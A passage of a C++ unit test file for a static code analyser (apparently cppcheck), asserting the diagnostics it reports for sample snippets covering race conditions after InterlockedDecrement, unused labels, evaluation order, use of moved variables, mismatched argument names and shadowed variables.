ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 